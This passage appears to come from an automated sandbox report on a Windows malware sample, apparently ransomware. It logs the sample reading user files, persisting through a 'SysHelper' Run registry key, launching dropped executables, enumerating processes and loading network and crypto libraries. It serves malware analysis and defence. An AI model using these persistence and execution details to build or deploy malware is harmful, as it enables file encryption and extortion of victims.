Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\IwZE-JTO3c1j.swf size = 153605, size_out = 25892 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\msa0S6oHJtcg43Ia1l2.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\msa0S6oHJtcg43Ia1l2.mp4 size = 153605, size_out = 14659 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\qGVWc3j9gq7bBp.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\qGVWc3j9gq7bBp.swf size = 153605, size_out = 42914 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\syGCE5H.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\syGCE5H.avi size = 153605, size_out = 55725 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\wvkOd8OJSRo.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\wvkOd8OJSRo.mp4 size = 153605, size_out = 54526 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\_bCx53v.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\_bCx53v.avi size = 153605, size_out = 32008 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\1yz_dH-h0QVU25Eq5YS.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\1yz_dH-h0QVU25Eq5YS.mp4 size = 153605, size_out = 14791 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\2Z0X Os.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\2Z0X Os.mp4 size = 153605, size_out = 53419 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\HzNuu.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\HzNuu.wav size = 153605, size_out = 62309 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\ch1D7KyT.ppt size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\ch1D7KyT.ppt size = 153605, size_out = 55377 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\pRF0TOZ.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\pRF0TOZ.avi size = 153605, size_out = 48710 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\x4_ajppJoTbLYJ.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\x4_ajppJoTbLYJ.swf size = 153605, size_out = 95891 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico size = 153605, size_out = 29926 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\953NwS YORsJs8ezCX.ppt size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\953NwS YORsJs8ezCX.ppt size = 153605, size_out = 86774 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\e90mXCi.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\e90mXCi.pdf size = 153605, size_out = 81683 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\vbjCBCCaRqTDVu75M.xls size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\vbjCBCCaRqTDVu75M.xls size = 153605, size_out = 6744 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\EFxNu5CIh50zqG.ots size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\EFxNu5CIh50zqG.ots size = 153605, size_out = 27717 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\evs-mu2XZmDDq_3I.ods size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\evs-mu2XZmDDq_3I.ods size = 153605, size_out = 63479 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\hHu6n-WhXpQLeR.ods size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\hHu6n-WhXpQLeR.ods size = 153605, size_out = 84199 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\mIvI FYocehkz.odp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\mIvI FYocehkz.odp size = 153605, size_out = 30301 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\NiKTO1C7 RIwfLd.odp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\NiKTO1C7 RIwfLd.odp size = 153605, size_out = 99915 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\vnscV1A42YE34G.ods size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\vnscV1A42YE34G.ods size = 153605, size_out = 87211 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Ck3vXIHItmOFDrYXb.csv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Ck3vXIHItmOFDrYXb.csv size = 153605, size_out = 72112 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\lLiekJL.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\lLiekJL.pdf size = 153605, size_out = 90705 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\QRZRxkH5oTlCYK.csv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\QRZRxkH5oTlCYK.csv size = 153605, size_out = 3588 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\R03C.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\R03C.xlsx size = 153605, size_out = 6672 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vklleNEl.odp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vklleNEl.odp size = 153605, size_out = 45505 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\5Y-dBAy6zx3RY.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\5Y-dBAy6zx3RY.m4a size = 153605, size_out = 23657 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\C91c9XEQcDJnxWtX_.wav size = 38, size_out = 38 True 1
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Pea4H1Vnl0zHM1NrtA.avi size = 32735 True 1
Fn
Data
For performance reasons, the remaining 650 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (5)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 0, type = REG_NONE False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (52)
»
Operation Process Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe show_window = SW_SHOWNORMAL True 1
Fn
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files (x86)\google\sun_surgery.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\fursitemap.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\bra_assessed.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\beautiful-principal-translated.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\hobbies.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\java\carrier hobbies helps.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\microsoft analysis services\phantom roads.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\printers_twiki_tracked.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\resolution.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\maximize.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows portable devices\freezesyndicaterapidly.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\google\extremely-falls.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\sims.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\approaches-regular-pit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\effective-personals-dinner.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\tag.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\common files\citation.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows portable devices\traveling_beam_filing.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\observed entire apparent.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\incidents blind lingerie.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (414)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 4
Fn
Load RPCRT4.dll base_address = 0x75ee0000 True 1
Fn
Load MPR.dll base_address = 0x74b30000 True 1
Fn
Load WININET.dll base_address = 0x753d0000 True 1
Fn
Load WINMM.dll base_address = 0x74af0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x75220000 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x74b50000 True 1
Fn
Load WS2_32.dll base_address = 0x75bc0000 True 1
Fn
Load DNSAPI.dll base_address = 0x74a80000 True 1
Fn
Load CRYPT32.dll base_address = 0x759b0000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Load Shell32.dll base_address = 0x75fd0000 True 59
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32First, address_out = 0x76cb5cd9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 2
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeW, address_out = 0x75f01635 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringW, address_out = 0x75f21ee5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringA, address_out = 0x75f5d918 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeA, address_out = 0x75f23fc5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidCreate, address_out = 0x75eff48b True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x74b32dd6 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumW, address_out = 0x74b32f06 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceW, address_out = 0x74b33058 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlW, address_out = 0x7544be5c True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlA, address_out = 0x754130f1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpQueryInfoW, address_out = 0x753f5c75 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenW, address_out = 0x753f9197 True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74af26e0 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindExtensionW, address_out = 0x7535a1b9 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindFileNameW, address_out = 0x7535bb71 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsW, address_out = 0x753545bf True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendA, address_out = 0x7534d65e True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDrives, address_out = 0x76c35371 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OpenProcess, address_out = 0x76c31986 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemDirectoryW, address_out = 0x76c35063 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryW, address_out = 0x76c3492b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageW, address_out = 0x76c34620 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynW, address_out = 0x76c5d556 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcmpW, address_out = 0x76c35929 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSizeEx, address_out = 0x76c359e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventW, address_out = 0x76c3183e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatW, address_out = 0x76c5828e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FatalAppExitA, address_out = 0x76cb4691 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetPriorityClass, address_out = 0x76c4cf28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeProcess, address_out = 0x76c4174d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryA, address_out = 0x76c5d526 True 1
Fn
